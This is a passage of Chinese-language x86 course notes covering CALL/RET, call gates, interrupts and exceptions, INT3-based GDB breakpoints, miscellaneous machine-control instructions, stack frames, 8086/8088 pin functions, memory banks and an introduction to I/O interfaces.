- 第2和第3字节包含 IP 的新内容
- 第4和第5字节包含 CS 的新内容
- Far CALL 在跳转到第2至第5字节指定的地址之前,将 IP 和 CS 的内容都压入堆栈。
这使得远调用(Far CALL)可以调用位于内存任何位置的过程,并从该过程返回。
- 在64位模式下,远调用可以跳转到任意内存位置,压入堆栈的信息是一个8字节的数值。
- 远返回指令从堆栈中检索8字节的返回地址,并将其放入 RIP 寄存器
- 下图展示了远调用如何调用一个远过程。
- CS 和 IP 的内容被压入堆栈
Example
此示例展示了如何使用 CALL 寄存器指令来调用一个过程,该过程位于当前代码段中偏移地址 DISP 处,用于显示 'OK'
当程序中需要选择不同的子程序时,这种方式特别有用。
- 本质上与使用查找表获取跳转地址的间接跳转相同。
- 如果指令以
CALL FAR PTR [4*EBX]或CALL TABLE [4*EBX]的形式出现,CALL 指令也可以引用远指针,前提是表中的数据被定义为双字(doubleword)。
RET¶
从堆栈中移除一个16位数值(near return)并将其放入 IP 寄存器,或者移除一个32位数值(far return)并将其放入 IP 和 CS 寄存器。
- 过程的 PROC 指令中包含近返回和远返回指令,自动选择正确的返回指令
下图展示了在实模式下运行的 8086–Core2 处理器中,CALL 指令如何链接到一个过程,以及 RET 如何返回。
Info
对于在保护模式下运行的 80386 至 Pentium 4 处理器,远返回(far return)会从堆栈中移除 6 个字节:
- 前 4 个字节包含 EIP 的新值
- 后 2 个字节包含 CS 的新值
在 80386 及更高版本中,保护模式下的近返回(near return)会从堆栈中移除 4 个字节并将其放入 EIP。
另一种形式的返回指令(RET n)在从堆栈中移除返回地址后,会将一个数值加到堆栈指针(SP)的内容上。
- 如果 RET 指令中包含一个立即数操作数,堆栈指针将按照所指示的字节数进行调整。
通过使用 BP 寄存器在堆栈上对参数进行寻址,BP 寄存器用于访问堆栈段。该示例展示了这种类型的返回指令如何清除通过几次 push 操作放置在堆栈上的数据。RET 4 在从堆栈中移除返回地址后,会将 4 加到 SP 上。从而清理了栈上的BX和AX.
Transfer Control Between Privilege Levels¶
分支指令也可以用于将控制权转移到运行在不同特权级别的其他代码。在这种情况下,处理器会自动检查源程序和目标程序的特权级别,以确保在执行控制转移操作之前该转移是被允许的。
进行跨特权级别远调用的三种方式:
- 定义一致性代码段(conforming code segments)以便在不同特权级别之间共享库(例如数学库)
- 通过称为"门"(Gates)的特殊段描述符
Example
假设 Ring 3 程序想调用一个内核函数:
用户态:执行 CALL FAR 0x20:00000000(0x20 是调用门的选择子)。
CPU 硬件动作:
- 发现 0x20 对应的是一个调用门。
- 检查:Ring 3 是否有权访问这个门?(是)
- 检查:通过门是否能去往 Ring 0?(是)
- 加载 Ring 0 栈:从 TSS 读取 SS0:ESP0。
- 压栈保存:在 Ring 0 栈上压入旧的 SS、ESP、CS、EIP。
- 复制参数:如果有参数,从用户栈搬运到内核栈。
- 更新 CS:EIP:从门描述符加载目标代码段选择子和偏移量。
- 特权级变更:CPL 变为 0。
内核态:执行服务程序。
返回:内核执行 RET FAR。
- CPU 检测到这是一个跨特权级的返回。
- 弹出旧的 CS, EIP, SS, ESP。
- CPL 变回 3,切回用户栈,继续执行。
- 利用快速系统调用指令(SYSCALL/SYSRET 或 SYSENTER/SYSEXIT)从 Ring 3 访问 Ring 0
INTRO TO INTERRUPTS¶
中断和异常会强制将控制权从当前正在执行的程序转移到处理中断事件的系统软件服务例程。这些例程被称为异常处理程序和中断处理程序,或中断服务过程(ISP)。
在向 ISP 进行控制转移的过程中,处理器会停止执行被中断的程序并保存其返回指针。处理异常或中断的系统软件服务例程负责保存被中断程序的状态。这使得处理器能够在系统处理完事件后重新启动被中断的程序。
处理器使用分配给异常或中断的向量号(中断向量)来索引中断向量表(IVT)或中断描述符表(IDT)。IVT 和 IDT 提供了异常或中断处理程序的入口点:
- IVT 用于real mode
- IDT 用于protected mode and long mode
Info
中断(Interrupts):
- 是由外部硬件或软件生成的信号,用于向处理器或操作系统内核请求服务。
- 不是 CPU 指令执行过程中错误或异常条件的结果(这是异常的典型特征)。
- 是程序主动发出的请求以获取帮助。
- 大多数中断是异步的(如硬件中断),但使用 INT n 指令的软件中断是同步的。
异常(Exceptions):
- 是在 CPU 执行指令过程中直接产生的事件,通常由错误或异常条件引起。
- 代表了 CPU 自身识别出的、需要特殊处理的程序正常流程偏离。
- 每个异常都有一个助记符,由井号(#)后跟两个字母以及可选的括号中的错误代码组成。例如,#GP(0) 表示错误代码为 0 的一般保护异常。
Interrupt¶
Source of Interrupts¶
中断主要来自两个来源:
- 外部(硬件生成的)中断:外部中断是一个异步事件,通常由 I/O 设备通过处理器上的引脚或通过本地 PIC(可编程中断控制器)触发。
- 软件生成的中断:软件中断是执行
INT n指令的结果。例如,在 x86 系统上的 Linux 中使用INT 80h来调用系统调用并向操作系统请求服务。
Masking External Interrupts¶
- 软件可以屏蔽某些异常和中断的发生。屏蔽可以延迟甚至阻止异常处理或中断处理机制的触发。
- 外部中断分为可屏蔽和不可屏蔽两类:
- 可屏蔽中断:只有当
FLAGS.IF=1时,才会通过 INTR 引脚触发中断处理机制。否则,只要FLAGS.IF位被清零为 0,它们就会一直保持挂起状态。 - 不可屏蔽中断(NMI):不受
FLAGS.IF位值的影响。
- 可屏蔽中断:只有当
Interrupt Control¶
- 有两条指令控制可屏蔽中断(连接到 CPU 的 INTR 引脚)。
- 设置中断标志指令(STI):将 1 放入 I 标志位。
- 这会启用 INTR 引脚
- 清除中断标志指令(CLI):将 0 放入 I 标志位。
- 这会禁用 INTR 引脚
-
STI 指令启用 INTR,CLI 指令禁用 INTR。
-
在软件中断服务过程中,硬件中断通常作为最初的步骤之一被启用。
- 这通过 STI 指令来完成
- 中断要尽早启用,因为个人计算机中几乎所有的 I/O 设备都是通过中断处理的。
- 如果中断被禁用太长时间,会导致严重的系统问题
Exceptions¶
Sources of Exceptions¶
异常主要来自三个一般来源:
- 程序错误异常:当处理器在执行过程中检测到程序错误时,会生成异常,例如除法错误(#DE)异常。
- 软件生成的异常:INTO、INT1、INT3 和 BOUND 指令允许在软件中生成异常。例如,INT3 会导致生成断点异常。
- 机器检查异常:Pentium 处理器提供机器检查机制,用于检查内部芯片硬件和总线事务的操作。
Precise and Imprecise Exceptions¶
- 精确异常在指令边界上报告。
- 有些在导致异常的指令之前的边界上报告,而有些在导致异常的指令之后的边界上报告。
- 当事件处理程序返回到被中断的程序时,可以在被中断的指令边界处重新启动。
- 非精确异常不保证在可预测的指令边界上报告。
- 非精确事件可以被认为是异步的。
- 被中断的程序不可重新启动。
Three Types of Exceptions¶
- Faults是在导致故障的指令之前的边界上报告的精确异常。
- 可以被纠正并重新启动,而不会丢失连续性。
- 返回地址指向导致故障的指令。
- Traps是在触发trap的指令之后的边界上报告的精确异常。
- 可以继续执行而不会丢失程序连续性。
- 返回地址指向导致陷阱的指令之后的指令。
- Aborts是非精确异常,不允许可靠地重新启动程序。
Interrupt Vectors¶
- 特定的中断和异常源被分配一个固定的向量标识号(称为"interrupt vector"或简称"vector")。
- interrupt vector被中断处理机制用来定位分配给异常或中断的服务程序。
- 最多可以有 256 个唯一的中断向量。每个向量包含一个 ISP(中断服务程序)的地址。
- Intel 保留了前 32 个interrupt vector用于预定义的异常和中断条件。
- interrupt vector (32-255)可供用户使用。
- 在实模式下:
- 一个 4 字节的数值存储在内存的前 1024 字节中(00000H–003FFH)。
- 由于共有 256 个interrupt vector,每个向量占 4 字节,所以总共需要 256 × 4 = 1024 字节。
- 每个向量包含 IP 和 CS 的值,组成 ISP(中断服务程序)的地址。
- 前 2 个字节包含 IP(偏移地址);后 2 个字节包含 CS(段地址)。
- 通过 CS:IP 组合可以得到 ISP 的 20 位物理地址。
- 在保护模式下:向量表被中断描述符表(IDT)取代,IDT 使用 8 字节的描述符来描述每个中断。
Double fault¶
- 当在处理先前(第一个)异常或中断处理程序期间发生第二个异常时,可能会发生双重故障异常。
- 例如,当触发页面故障但中断描述符表(IDT)中没有注册页面故障处理程序时,就会发生双重故障。
- 通常,第一个和第二个异常可以顺序处理,而不会导致双重故障异常。
- 然而,在某些情况下,第一个异常会对处理器处理第二个异常的能力产生不利影响,此时处理器会发出双重故障异常信号。
- 这些导致双重故障异常发生的异常被称为"贡献性异常"(contributory exceptions)。
只有非常特定的异常组合会导致双重故障。这些组合包括:
| First Interrupting Event | Second Interrupting Event |
|---|---|
| Contributory Exceptions: | Invalid-TSS Exception |
| • Divide-by-Zero-Error Exception | Segment-Not-Present Exception |
| • Invalid-TSS Exception | Stack Exception |
| • Segment-Not-Present Exception | General-Protection Exception |
| • Stack Exception | |
| • General-Protection Exception | |
| Page Fault Exception | Page Fault Exception |
| Invalid-TSS Exception | |
| Segment-Not-Present Exception | |
| Stack Exception | |
| General-Protection Exception |
例如:
- divide-by-zero fault -> page fault: No double fault occurs
-
divide-by-zero fault -> general-protection fault: A double fault occurs
-
如果在尝试调用双重故障处理程序时发生另一个contributory exception或page fault exception,处理器将进入关机模式。
- 在 x86 架构上,triple fault是一种特殊的异常,当 CPU 尝试调用双重故障异常处理程序时发生异常。
- 提供一个双重故障处理程序非常重要,因为如果双重故障未被处理,将发生致命的三重故障,进而导致 CPU 重置。
Error Codes¶
- 某些类型的异常会提供错误代码。错误代码报告有关错误的附加信息,例如 #PF(页面故障代码)。
- 错误代码在控制转移到异常处理程序期间,由异常机制压入堆栈。
- Error code有两种格式:
- selector format:用于报告错误的异常
- page-fault format:用于页面故障
Priority among Simultaneous Exceptions and Interrupts¶
- 当同时发生多个中断时,处理器将控制权转移到最高优先级的中断处理程序。
- 来自外部源的低优先级中断会被处理器挂起,并在高优先级中断处理完成后再进行处理。
- x86 架构定义了中断组之间的优先级,而组内的中断优先级则取决于具体实现。
Real Mode Interrupt control transfer¶
在实模式下,IDT 是一个由 4 字节条目组成的表,系统实现的 256 个可能的中断各对应一个条目。实模式下的 IDT 通常被称为中断向量表(IVT)。
- IVT 表条目包含一个远指针(CS:IP 对),指向异常或中断处理程序。IDT 的基地址存储在 IDTR 寄存器中,在处理器复位时会被加载为 00h。
当实模式下发生异常或中断时,处理器执行以下操作:
- 将 FLAGS 压入堆栈
- 将 FLAGS.IF 清零
- 将 CS 和 IP 压入堆栈
- 将错误代码压入堆栈(如果适用)
- 通过将中断向量乘以 4,在 IDT 中定位 ISP
- 将控制权转移到 IDT 中 CS:IP 所引用的 ISP
RET/IRETD¶
IRET 指令用于返回被中断的程序。当执行 IRET 时,处理器执行以下操作:
- 从堆栈弹出保存的 CS:IP
- 从堆栈弹出 FLAGS 值
- 从保存的 CS:IP 位置开始执行
IRET 指令等效于:
- FAR RET
- POPF
如果在中断服务程序之前中断已启用,IRET 指令会自动重新启用中断,因为它会恢复标志寄存器。IRET 用于实模式,IRETD 用于保护模式。
IRETD 指令等效于:
- FAR RET
- POPFD
Info
POPF 和 POPFD 指令用于从堆栈弹出值并将其存储到 FLAGS/EFLAGS 寄存器中。
Interrupt instructions¶
有四种不同的中断指令可用:INT N、INT1、INT3 和 INTO
在实模式下,每条指令从向量表中获取一个向量,然后调用存储在该向量所指向地址处的过程。
在保护模式下,每条指令从中断描述符表中获取一个中断描述符。
类似于远调用(far CALL)指令,因为它会将返回地址(IP/EIP 和 CS)压入堆栈。
INT N¶
程序员可以使用 256 种不同的软件中断指令(INT N)。每条 INT 指令都有一个数值操作数,范围为 0 到 255(00H–FFH)
在实模式下,中断向量的地址通过将中断类型号乘以 4 来确定。
例如,INT 10H 指令调用存储在内存位置 40H(10H × 4)开始处的中断服务程序。
例如,INT 100 使用中断向量 100,它出现在内存地址 190H–193H(64H × 4)处。
在保护模式下,中断描述符通过将类型号乘以 8 来定位,因为每个描述符长度为 8 字节。
每条 INT N 指令长度为 2 字节:
- 第一个字节包含操作码
- 第二个字节包含向量类型号
当软件中断执行时,它会:
- 将标志寄存器压入堆栈
- 清除 IF 标志位
- 将 CS 压入堆栈
- 从中断向量获取 CS 的新值
- 将 IP/EIP 压入堆栈
- 从向量获取 IP/EIP 的新值
- 跳转到 CS 和 IP/EIP 所指向的新位置
INT N 的行为类似于远调用(far CALL):
- 不仅将 CS 和 IP 压入堆栈,还将标志寄存器压入堆栈
INT N 指令等效于:
- PUSHF
- far CALL
软件中断最常用于调用系统过程,因为不需要知道函数的地址。这些中断通常用于控制打印机、视频显示器和磁盘驱动器。
INT N 替代了本来用于调用系统函数的远调用(far CALL):
- INT N 指令长度为 2 字节,而远调用为 5 字节
每次用 INT N 指令替代远调用时,可以节省 3 字节的内存。如果程序中频繁出现 INT N(如系统调用中),这可以节省相当可观的内存。
INT N 与远调用的比较
INT N 指令(包括 INTO、INT3 指令)的行为类似于使用 CALL 指令进行的远调用。
主要区别如下:
- INT N 指令长度为 2 字节,而远调用为 5 字节
- 使用 INT N 指令时,EFLAGS 寄存器在返回地址之前被压入堆栈
- 从中断过程返回使用 IRET 指令处理,它会从堆栈弹出 EFLAGS 信息和返回地址
INT 3¶
INT3 是一种专门设计用于作为断点的特殊软件中断。
- 它是一条 1 字节指令(0xCC),而其他中断指令为 2 字节
通常在软件中插入 INT3 来中断或打断程序的执行流程:
- 这种功能称为断点
- 断点有助于调试有问题的软件
任何软件中断都可以产生断点,但由于 INT3 只有 1 字节长,因此更容易用于此功能。
GDB 如何实现断点¶
假设 OFFSET 处的原始指令是 0x8345fc01(ADD DWORD PTR [ebp-0x4],0x1)。
当我们在 GDB 中输入 "break OFFSET" 时,它会记住这个字的第一个字节(0x83),并将该字更改为(0xcc45fc01)。
| 原始指令 | 插入断点后 | ||
|---|---|---|---|
| OFFSET | 83 | OFFSET | cc |
| OFFSET+1 | 45 | OFFSET+1 | 45 |
| OFFSET+2 | fc | OFFSET+2 | fc |
| OFFSET+3 | 01 | OFFSET+3 | 01 |
当程序执行到 GDB 刚插入的 INT3 指令时,被调试的程序会陷入内核,内核随后会向 GDB 发送信号。
然后 GDB 会使用之前记住的原始值恢复 OFFSET 处的字节,并将指令指针 EIP 移回 OFFSET,以便重新执行 OFFSET 处的指令。
| 插入断点后 | 恢复后 | ||
|---|---|---|---|
| OFFSET | cc | OFFSET | 83 |
| OFFSET+1 | 45 | OFFSET+1 | 45 |
| OFFSET+2 | fc | OFFSET+2 | fc |
| OFFSET+3 | 01 | OFFSET+3 | 01 |
为什么 INT3 应该是一字节¶
假设 INT3 比某些 x86 指令长。当 GDB 插入断点时,它可能会覆盖多条指令,这会导致问题。
考虑一个包含两条单字节指令的例子:
| 地址 | 原始指令 |
|---|---|
| OFFSET | 指令1,1字节 |
| OFFSET+1 | 指令2,1字节 |
如果 INT3 是 2 字节,在 OFFSET 处设置断点后:
| 地址 | 断点后 |
|---|---|
| OFFSET | INT3 第1字节 |
| OFFSET+1 | INT3 第2字节 |
如果代码想要跳转到 "OFFSET+1",它会跳转到 INT3 指令的中间,这可能产生无效操作码异常(#UD)。
由于 INT3 是一字节,即所有 x86 指令的最小长度,我们就不会遇到这个问题。
INTO¶
当对有符号操作数执行算术运算时(例如 ADD、SUB、IMUL、IDIV、CMP) 可以通过 JO 指令直接测试 OF 标志,或者使用 INTO 指令来处理溢出条件
溢出中断(INTO)指令检查 EFLAGS 寄存器中 OF 标志的状态
- 如果 O = 1,则通过向量类型号 4 产生溢出trap
- 如果 O = 0,INTO 不执行任何操作
使用 INTO 指令的好处是,如果检测到溢出异常,可以自动调用异常处理程序来处理溢出条件。
MACHINE CONTROL AND CELLANEOUS INSTRUCTIONS¶
这些指令提供对进位标志的控制、停止指令执行,以及执行其他各种功能。
进位标志(C)在多字/双字加法和减法运算中传播进位或借位。
它还可以指示汇编语言过程中的错误。
以下指令控制进位标志的内容:
- STC(设置进位)
- CLC(清除进位)
- CMC(进位取反)
HLT¶
HLT 停止指令执行并将处理器置于 HALT 状态。
退出 HALT 状态的几种方式:
- 使能的中断(NMI 和 SMI)
- 调试异常
- 硬件复位(BINIT#、INIT# 或 RESET# 信号)
保存的指令指针(CS:EIP)指向 HLT 指令之后的下一条指令。
NOP¶
在早期,软件开发工具尚未出现之前,NOP(不执行任何操作)常被用于在软件中填充空间,以便将来添加机器语言指令。
当微处理器遇到 NOP 时,它会花费很短的时间来执行。
多字节 NOP 指令可用作填充,将函数或循环对齐到 16 或 32 字节边界(例如,NOP EAX)。
推荐的多字节 NOP 如下:
LOCK Prefix¶
Intel486 CPU 保证以下基本内存操作以原子方式处理:
- 读取或写入一个字节
- 读取或写入对齐在 16 位边界上的字
- 读取或写入对齐在 32 位边界上的双字
LOCK 前缀确保某些类型的内存读取-修改-写入操作以原子方式执行。
读取-修改-写入操作是指读取、修改并将值写回同一内存位置的操作。
要使读取-修改-写入操作成为原子操作,可以使用多种技术:
- 原子指令(例如 CMPXCHG)
- LOCK 前缀
LOCK 前缀旨在使处理器在多处理器系统中独占使用共享内存。
LOCK 前缀只能与以下写入内存操作数的指令一起使用:
- ADC、ADD、AND、DEC、INC、NEG、NOT、OR、SBB、SUB、XOR
- CMPXCHG、CMPXCHG8B、CMPXCHG16B、XADD 和 XCHG
- BTC、BTR、BTS
LOCK 前缀仅允许与某些修改内存的指令一起使用。
在以下情况下会发生未定义操作码异常(#UD):
- 如果 LOCK 前缀与非算术或逻辑指令一起使用
- 如果目标操作数不是内存操作数
- 如果源操作数是内存操作数
例如:
LOCK MOV [EAX], EBX; 发生 #UDLOCK ADD EAX, [EBX]; 发生 #UDLOCK ADD DWORD PTR [EAX], 1; 正确
Bound¶
BOUND 指令用于判断第一个操作数(数组索引)是否在第二个操作数(边界操作数)指定的数组边界内,例如:BOUND REG, MEM
- 边界操作数(MEM)是一个内存位置,包含两个字或双字。
- 数组索引(REG)是一个 16 位或 32 位寄存器。
- 如果索引(REG)不在边界(MEM)范围内,则会触发 BOUND 范围超出异常(#BR,向量类型号 5)。
- 如果索引在边界范围内,则程序中的下一条指令继续执行。
ENTER AND LEAVE¶
ENTER 和 LEAVE 指令用于为被调用的过程创建和释放栈帧。
- 栈帧(也称为活动帧或活动记录)是一种支持过程执行的内存管理技术。
- 栈帧帮助编程语言支持子程序的递归功能。
- 栈帧包含局部变量和调用者传递的参数。
栈帧由以下部分组成:
- 参数
- 返回地址
- 前一个栈帧指针
- 局部变量
- 被调用过程(被调用者)修改的需要恢复的寄存器的保存副本
栈帧仅在运行时过程中存在。当过程执行完成后,相关的栈帧将从栈中删除。
栈帧还为被调用的过程提供访问嵌套栈帧中其他变量的访问点。
EBP(基址指针)在函数调用期间管理栈帧方面起着关键作用:
- EBP 作为函数栈帧内的稳定参考点,用于访问局部变量和函数参数。EBP 的值在整个函数中保持不变,而 ESP(栈指针)可能会改变。
- 设置栈帧后,函数参数通过 EBP 的正偏移量访问(例如,EBP + 8 用于第一个参数),而局部变量通过负偏移量访问(例如,EBP - 4)。这种一致的访问方式使编译器和调试更加简单。
- 在函数开始时,调用约定通常通过将当前 EBP 压入栈来保存它,然后将 EBP 设置为 ESP。这建立了一个新的栈帧。在函数结束时,EBP 被恢复以释放栈帧并返回到调用者的帧。
- 在递归调用或调试时,保存的 EBP 使函数能够跟踪和维护栈帧链,允许调用栈向上回溯到主函数。
简而言之,EBP 提供了对函数栈帧的稳定性和便捷访问,便于参数和局部变量管理,并支持调试和递归。
此时栈的内存布局(从高地址到低地址)如下:
| 地址 | 内容 | 说明 |
|---|---|---|
ebp + 8 |
参数 x | (Caller 压入) |
ebp + 4 |
返回地址 | (Call 指令压入) |
ebp |
旧 EBP | (当前栈帧基址) |
ebp - 4 |
变量 a | |
ebp - 8 |
变量 b | |
ebp - 12 |
变量 c | (当前 ESP 指向这里) |
上面展示了两个函数的情况。
ENTER 和 LEAVE 指令用于为被调用的过程创建和释放栈帧。
- 语法:ENTER 栈空间大小, 嵌套层级
- 第一个操作数指定栈帧中动态存储区的大小。
- 第二个操作数指定嵌套层级(0 到 31——该值会自动被屏蔽为 5 位)、
例如
Info
intel 设计 ENTER 指令是为了在硬件层面加速块结构语言(如 Pascal)中嵌套函数对外部变量的访问。它通过在栈上自动复制父级函数的栈帧指针(Display),试图让访问“爷爷变量”变得像访问本地变量一样快。
但在现代计算机科学中,这个指令成为了“过度设计”的典型案例:硬件做了太复杂的事,却不如软件自己灵活处理来得高效。
-
所谓"可重定位"(relocatable),是指程序代码可以被加载到内存的任意位置并正确执行,而无需修改跳转指令中的地址。这是因为相对跳转使用的是相对于当前指令位置的偏移量,而不是绝对地址,所以无论代码被放置在内存的哪个位置,跳转的相对距离始终保持不变。 ↩
8086/8088 Hardware Specifications¶
约 2444 个字 10 张图片 预计阅读时间 8 分钟
PIN-OUTS AND THE PIN FUNCTIONS¶
PIN OUT¶
8086 和 8088 都是采用 40 引脚双列直插封装(DIP)的微处理器。它们的主要区别在于数据总线的宽度:8086 拥有 16 位数据总线(引脚 AD0–AD15),而 8088 拥有 8 位数据总线(引脚 AD0–AD7)。由于数据总线更宽,8086 在一次传输中可以处理 16 位数据,因此在数据传输效率上高于 8088。图 9-1 展示了这两款处理器的具体引脚分布。
最小/最大模式的操作
8086 处理器有两种主要的工作模式:最小模式(Minimum Mode 和 最大模式(Maximum Mode)。
-
最小模式:适用于单处理器系统。这种模式结构简单、成本较低。8086 内部会自动产生大多数内存和 I/O 所需的控制信号,无需额外的外部逻辑电路,适合中小型系统。
-
最大模式:适用于需要多个处理器协作的系统,比如需要扩展使用协处理器(如 8087 浮点协处理器)。在该模式下,部分控制信号(如内存和总线的仲裁信号)由外部的总线控制器(通常是 8288 芯片)生成,这样可以与其他处理器或专用硬件配合完成更复杂的任务。
最小模式简单适合基础应用,最大模式支持更复杂和可扩展的多处理器系统。 8086 在最大模式和最小模式下有一些关键引脚,下面解释它们的作用:
- VCC(+5V 电源):为芯片提供工作电压。
- GND(地):电路的参考地。
- MN/MX(最小/最大模式选择):这个引脚用来选择 8086 工作在“最小模式”还是“最大模式”。
- 当 MN/MX 为高电平(HIGH),处理器工作于“最小模式”,适合单处理器系统,控制信号主要由 8086 内部产生。
- 当 MN/MX 为低电平(LOW),处理器工作于“最大模式”,适合多处理器或需扩展协处理器的系统,此时部分控制信号需要外部芯片如 8288 协助生成。
Minimum Mode Configuration¶
在最小模式下,8086 会自行生成所有必要的控制信号(如读/写、内存/IO 等),因此不需要额外的外部总线控制逻辑来产生这些信号。典型的外围芯片包括:
- 8282 锁存器(latch):用于锁存地址总线的低8位(A0-A7),保证地址在总线切换过程中保持稳定。
- 8286 三态缓冲器(3-state buffer):用于数据总线的输入输出隔离,实现数据的有序流动和总线争用管理。
- 74138 解码器(decoder):通常用于片选和地址译码,辅助 CPU 管理多片内存或 I/O 设备。
这些芯片配合 8086,可以实现完整的单处理器系统的最小硬件搭建。
Maximum Mode Configuration¶
在最大模式下,8086 会提供所有必要的控制信号,但部分关键的系统和总线控制信号(如内存/IO 读写允许、总线请求/授权等)需要外部总线控制器(如 8288 bus controller)来辅助生成和管理。如下是最大模式下的关键外围芯片:
- 8282 锁存器(latch):和最小模式一样,锁存地址总线的低 8 位,确保地址稳定。
- 8286 三态缓冲器(3-state buffer):用于数据总线的隔离,实现数据输入输出的管理。
- 8288 总线控制器(bus controller):专为最大模式而设计,根据8086发出的状态信号(S0、S1、S2等),产生所有系统需要的总线控制信号(如内存/IO 读写允许、总线请求/授权等),实现复杂系统中多处理器或协处理器的总线协调。
下图为最大模式下的典型系统连接:
PIN FUNCTIONS¶
| 引脚 | 功能简介 | 详细说明 |
|---|---|---|
| AD15-AD0(地址/数据多路复用引脚) | 既作地址线,也作数据线(时分复用) | 当 ALE(地址锁存允许)为高时传送地址/端口号,ALE为低时传送数据。 |
| ALE(地址锁存允许) | 指示 AD 总线当前为地址信息 | ALE 有效时应由外部电路锁存地址,ALE 信号总由 8086 主动驱动。 |
| IO/\(\overline{M}\)(8088)/ M/\(\overline{IO}\)(8086) | 区分访问目标是内存还是 I/O 端口 | 保持响应阶段为高阻态。 |
| BHE(总线高八位使能) | 控制高 8 位数据线(D15-D8)在数据操作时使能 | 支持16位/8位和非对齐字节存取,上半字节数据线路可选择性使能。 |
| \(\overline{RD}\)(读控制信号) | 表示内存或 I/O 读操作 | 逻辑 0 时进行读操作,保持响应期悬空为高阻态避免设备冲突。 |
| \(\overline{WR}\)(写控制信号) | 表示向内存或 I/O 写数据 | 逻辑 0 时进行写操作,数据总线有效,保持响应期间为高阻态。 |
| INTR(中断请求输入) | 外部设备请求中断 | 高电平且 IF 标志为 1 时响应,指令完成后进入中断周期。 |
| NMI(不可屏蔽中断输入) | 高优先级中断,在紧急情况下使用 | 不受 IF 标志控制,有效立即跳转到向量2对应的中断程序。 |
| \(\overline{INTA}\)(中断响应输出,最小模式) | 响应INTR中断,通知中断控制器 | 授权中断控制器将中断类型码送上数据总线。 |
| \(\overline{LOCK}\)(总线锁定输出,最大模式) | 锁定外部总线,防止总线冲突 | 执行带 LOCK 前缀指令时有效,保证原子性,多处理器同步用。 |
DRAM Organization¶
-
CPU 与内存控制器(Memory Controller)
- CPU 通过内存控制器访问内存。现代系统常采用“内存通道(Channel)”的概念,支持多通道并行访问以提高带宽。
- 图中有两个通道(Channel 0 和 Channel 1),分别连接到多个内存条。
-
通道(Channel)与 DIMM
- 每个通道可连接多个 DIMM(Dual Inline Memory Module,双列直插内存模块,即通常所说的“内存条”)。
- 每个 Channel 在图中都连接了 DIMM0 和 DIMM1,共四根 DIMM。
-
Rank(排)与 Bank(片选组)
- 每个 DIMM 内部又分为若干 Rank(排),每个 Rank 实质上是一组并行工作的存储芯片,可以一起被选中。
- Rank 的数量取决于内存规格和容量,例如单面/双面内存条。
- 每个 Rank 又包含多个 Bank(片选组),独立寻址,可以并行访问,提高了内存并发性能。
-
Chip(芯片)与 Bank/Row/Column(行/列)
- Rank 由若干颗存储芯片Chip组成,每颗芯片内部划分为 Bank。
- 每个 Bank 由二维的存储单元阵列构成,通过行地址(Row)和列地址(Column)定位具体的数据单元。
- 实际内存访问时,首先选中通道和 DIMM,再选 Rank,之后定位到特定的 Bank,最后通过行列定位到存储单元。
Memory Banks¶
x86 处理器采用内存“Bank(存储体)”的概念,以便支持按字节访问和非对齐地址的数据访问。这里的“Bank”指的是宽度为 8 位的数据存储单元。具体来说:
- 8088 的数据总线宽度为 8 位,因此其 1MB 的内存空间可以看作是一个完整的 8 位 bank,数据按字节传输。
- 8086 的数据总线宽度为 16 位,其 1MB 地址空间被分为两个独立的 8 位 bank,每个 bank 大小为 512KB。高低 8 位的数据可以分别独立存取,这样既能提高访问速度,又能支持非对齐的字节访问。
8086 采用\(\overline{BHE}\)和\(\overline{BLE}/A0\)作为存储体(bank)选择信号:
- \(\overline{BHE}\)(Bank High Enable)为低电平时,高/奇数存储体(D15-D8)被使能;
- \(\overline{BLE}/A0\)(Bank Low Enable,对应地址线 A0)为低电平时,低/偶数存储体(D7-D0)被使能。
这使得 8086 能灵活支持 8 位/16 位及非对齐字节的存取。例如:
- 访问偶地址字节(A0=0):只使能低字节存储体(BLE=0,BHE=1)。
- 访问奇地址字节(A0=1):只使能高字节存储体(BLE=1,BHE=0)。
- 访问偶地址的 16 位字(A0=0,BHE=0,BLE=0):高低存储体均使能,一次访问 16 位数据。
| BHE | BLE/A0 | 功能描述 |
|---|---|---|
| 0 | 0 | 16 位数据传输,两存储体启用 |
| 0 | 1 | 仅高字节(奇存储体)启用 |
| 1 | 0 | 仅低字节(偶存储体)启用 |
| 1 | 1 | 无存储体被使能 |
地址线 A1-A19用于指定内存地址,通过 BHE 和 BLE/A0 输出信号选择数据读写的具体存储体,实现高效、灵活的字节与半字访问。
Even-address byte access¶
Odd-address byte access¶
aligned 16-bit word access¶
unaligned 16-bit word access¶
对于未对齐的内存访问,需要两个总线周期:
- 第一个周期:数据传输使用 D8-D15
- 第二个周期:数据传输使用 D0-D7
Summary
保持内存访问对齐在 x86 机器上依然很重要。
- x86 的内存和 I/O 空间是以存储体(bank)方式排列的。通过存储体选择信号(BHE 和 BLE/A0)来访问字节数据。
- 在内存和 I/O 写操作中,通常需要分别给高位和低位写独立的写选通(strobes)信号。
| 芯片型号 | 核心功能 | 记忆技巧 (Mnemonic) |
|---|---|---|
| 8288 | Bus Controller (总线控制器) | 数字 8 长得像字母 B。8 = Bus Controller。它是“大管家”,负责发号施令。 |
| 8282 | Address Latch (地址锁存器) | 数字 2 像字母 Z。Latch 的作用是 freeZe (冻结/锁住) 地址。 |
| 8286 | Data Transceiver (数据收发器) | 数字 6 读音像 Six → Switch。它的作用是 Switch (切换) 数据流向(进或出)。 |
| 8284 | Clock Generator (时钟发生器) | 数字 4 读音像 Four → Frequency。它的作用是 Frequency (频率) 分频。 |
Basic IO interface¶
约 19635 个字 8 行代码 122 张图片 预计阅读时间 68 分钟
INTRO I/O interface¶
硬件接口是指不同设备之间的连接和通信方式,它将计算机与外部设备连接在一起,从而使它们能够协同工作。
硬件接口的类型:
- 信息流动方向
- 输入接口
- 输出接口
- 信号类型
- 模拟接口
- 数字接口
- 数据传输类型
- 串行接口
- 并行接口
一个I/O接口单元通常包含以下部分:
- 读/写控制逻辑
- 数据总线缓冲器
- 端口寄存器(如端口A、端口B)
- 控制和状态寄存器
Key Points about I/O interface¶
如何将I/O设备与CPU连接?
- 输出接口采用锁存器(Latches)
- 输入接口采用三态缓冲器(Three-state buffers)
如何为I/O设备分配地址空间?
- 有两种方案:独立I/O(Isolated I/O)与存储器映射I/O(Memory mapped I/O)
如何进行I/O端口译码?
- 相关信号包括:内存地址、#BHE与#BLE、#IORC与#IOWC
如何实现处理器与I/O设备之间的同步?
主要有以下几种方案:
- 无条件传送(适用于“总是就绪”的设备)
- 脉冲同步(strobing)
- 握手与轮询(handshaking and polling)
- 中断驱动I/O
- 通道控制I/O(如DMA)
Isolate and memory mapped I/O¶
- 接口I/O有两种不同方式:
